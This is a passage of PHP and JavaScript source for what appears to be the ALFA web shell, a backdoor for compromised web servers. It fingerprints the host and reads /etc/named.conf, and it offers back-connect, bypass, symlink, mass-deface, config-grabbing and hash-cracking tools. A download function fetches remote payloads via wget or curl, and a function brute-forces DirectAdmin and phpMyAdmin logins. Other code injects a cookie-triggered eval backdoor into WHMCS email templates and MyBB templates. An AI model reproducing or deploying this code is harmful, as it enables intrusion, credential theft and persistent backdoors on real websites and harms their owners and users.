t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split())[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(,"");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"echo __ALFA_SECRET_KEY__;")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(,"")).value=e.value,$("gui_"+a.replace(,"")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(,"")).value=e.value,$("gui_"+a.replace(,"")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
echo"<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>
<input type='hidden' name='a' value='dlfile'>
<input type='hidden' name='c' value=''>
<input type='hidden' name='file' value=''>
</form>
<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>
<div id='a_loader'><img src='".__showicon('loader')."'></div>";
$cmd_uname = alfaEx("uname -a",false,false);
$uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname)>0?$cmd_uname:'( php_uname ) Function Disabled !');
if($uname=="( php_uname ) Function Disabled !"){$GLOBALS["need_to_update_header"]="true";}
echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="'.$GLOBALS['cwd'].'">';
for($s=1;$s<=10;$s++){
echo '<input type="hidden" name="alfa'.$s.'">';
}
echo '<input type="hidden" name="charset">
</form>
<div id=\'hidden_sh\'><span style="color:#42ff59;">'.__ALFA_CODE_NAME__.'</span><br><small>Version: <span class="hidden_shell_version">'.__ALFA_VERSION__.'</span></small></div>
<div class="header"><table width="100%" border="0">
<tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">'.$uname.'</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">'. $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>'.@phpversion(). ' </b><span class="header_vars"> Safe Mode: '.$safe_modes.'</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>'.(!@$_SERVER["SERVER_ADDR"]?(function_exists("gethostbyname")?@gethostbyname($_SERVER['SERVER_NAME']):'????'):@$_SERVER["SERVER_ADDR"]).'</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> '.@$_SERVER["REMOTE_ADDR"].'</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
if($GLOBALS['sys']=='unix'){
$d0mains = _alfa_file("/etc/named.conf",false);
if(!$d0mains){echo "Cant Read [ /etc/named.conf ]";$GLOBALS["need_to_update_header"]="true";}else{
$count=0;
foreach($d0mains as $d0main){
if(@strstr($d0main,"zone")){
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if(strlen(trim($domains[1][0])) > 2){
flush();
$count++;}}}
echo "$count Domains";}}
else{echo("Cant Read [ /etc/named.conf ]");}
echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>'.alfaSize($totalSpace).' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' ['. (int) ($freeSpace/$totalSpace*100) . '%]</b></td>
</tr>';
if($GLOBALS['sys']=='unix'){
$sx_dwlr = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
if(!@ini_get('safe_mode')){
if(strlen(alfaEx("id",false,false))>0){
echo '<tr><td height="18" colspan="2"><span class="header_vars">Useful : </span>';
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzialfa2','nc','locate','suidperl');
$x=0;
foreach($userful as $item)if(alfaWhich($item)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item.'</span>';}
if($x==0){echo "<span class='header_values' id='header_useful'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
$x=0;
foreach($downloaders as $item2)if(alfaWhich($item2)){$x++;echo '<span class="header_values" style="margin-left: 4px;">'.$item2.'</span>';}
if($x==0){echo "<span class='header_values' id='header_downloader'>--------------</span>";$GLOBALS["need_to_update_header"] = "true";}
echo '</td>
</tr>';
}else{
echo $sx_dwlr;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo $sx_dwlr;$GLOBALS["need_to_update_header"] = "true";
}
}else{
echo '<tr><td height="18" colspan="2"><span class="header_vars">Windows:</span><b>';
echo alfaEx('ver',false,false);
echo '</td>
</tr> <tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><b>-------------</b></td>
</tr></b>';
}
$quotes = (function_exists('get_magic_quotes_gpc')?get_magic_quotes_gpc():'0');if ($quotes == "1" or $quotes== "on"){$magic = '<b><span class="header_on">ON</span>';}else{$magic = '<span class="header_off">OFF</span>';}
echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>'.Alfa_GetDisable_Function().'</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>'.$curl.' | <span class="header_vars">SSH2 : </span>'.$ssh2.' | <span class="header_vars">Magic Quotes : </span>'.$magic.' | <span class="header_vars"> MySQL :</span>'.$mysql.' | <span class="header_vars">MSSQL :</span>'.$mssql.' | <span class="header_vars"> PostgreSQL :</span>'.$pg.' | <span class="header_vars"> Oracle :</span>'.$or.' '.($GLOBALS['sys']=="unix"?'| <span class="header_vars"> CGI :</span> '.$cgi_shell:"").'</td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>'.$open_b.'</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>'.$safe_exe.'</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>'.$safe_include.'</b></td>
</tr>';
if($GLOBALS['sys']=="win"){
echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>'.$drives.'</b></td>
</tr>';
}
echo '<tr>
<td height="12"><span class="header_vars">DIR :</span></td>
<td colspan="2"><span id="header_cwd">'.$cwd_links.' </span><a href="#action=fileman&path='.$GLOBALS['home_cwd'].'" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
$li = array('proc'=>'Proc','phpeval'=>'Eval','sql'=>'SQL','connect'=>'BC','safe'=>'Bypass','cgishell'=>'Cgi','cpcrack'=>'Hash','basedir'=>'BaseDir','pwchanger'=>'Addmin','ShellInjectors'=>'Inject','symlink'=>'Symlink','MassDefacer'=>'Mass','searcher'=>'Search','config_grabber'=>'Config','inbackdoor'=>'Inject','selfrm'=>'killme'
);
foreach($li as $key=>$value){
echo('<li><a id="menu_opt_'.$key.'" href="#action=options&path='.$GLOBALS['cwd'].'&opt='.$key.'" class="menu_options" onclick="alfa_can_add_opt=true;this.href=\'#action=options&path=\'+c_+\'&opt='.$key.'\';g(\''.$key.'\',null,\'\',\'\',\'\');d.querySelector(\'.opt-title\').innerHTML=this.innerHTML;">'.$value.'</a></li>');
}
echo (!empty($_COOKIE['AlfaUser']) && !empty($_COOKIE['AlfaPass']) ? '<a href="javascript:void(0);" onclick="alfaLogOut();"><font color="red">LogOut</font></a>':'').'</ul></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="'.$GLOBALS['cwd'].'" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onClick="alfaFilesManNewTab(c_,\'/\',1);">New Tab +</div></div>';}else{
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
}}
function alfalogout(){
@setcookie("AlfaUser", null, 2012);
@setcookie("AlfaPass", null, 2012);
unset($_COOKIE['AlfaUser'],$_COOKIE['AlfaPass']);
echo("ok");
}
function showAnimation($name){
return '-webkit-animation: '.$name.' 800ms ease-in-out forwards;-moz-animation: '.$name.' 800ms ease-in-out forwards;-ms-animation: '.$name.' 800ms ease-in-out forwards;animation: '.$name.' 800ms ease-in-out forwards;';
}
function __showicon($r){
$s['btn']='http://solevisible.com/images/btn.png';
$s['alfamini']='http://solevisible.com/images/alfamini.png';
$s['loader']='http://solevisible.com/images/loader.svg';
return $s[$r];
}
function __download($url,$path=false){
if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
$saveas = basename(rawurldecode($url));
if($path){$saveas=$path.$saveas;}
if($content = __read_file($url)){
if(@is_file($saveas))@unlink($saveas);
if(__write_file($saveas, $content)){return true;}}
$buff = alfaEx("wget ".$url." -O ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("curl ".$url." -o ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lwp-download ".$url." ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("lynx -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("GET ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("links -source ".$url." > ".$saveas);
if(@is_file($saveas)) return true;
$buff = alfaEx("fetch -o ".$saveas." -p ".$url);
if(@is_file($saveas)) return true;
return false;
}
function clean_string($string){
if(function_exists("iconv")){
$s = trim($string);
$s = iconv("UTF-8", "UTF-8//IGNORE", $s);
}
return $s;
}
function __read_file($file, $boom = true){
$content = false;
if($fh = @fopen($file, "rb")){
$content = "";
while(!feof($fh)){
$content .= $boom ? clean_string(fread($fh, 8192)) : fread($fh, 8192);
}
@fclose($fh);
}
if(empty($content)||!$content){
$content = alfaEx("cat '".addslashes($file)."'");
}
return $content;
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function alfaShellInjectors(){
alfahead();
echo '<div class=header>';
AlfaNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
AlfaNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue'=> '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value='>>'></p></form></center></td></tr></table></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
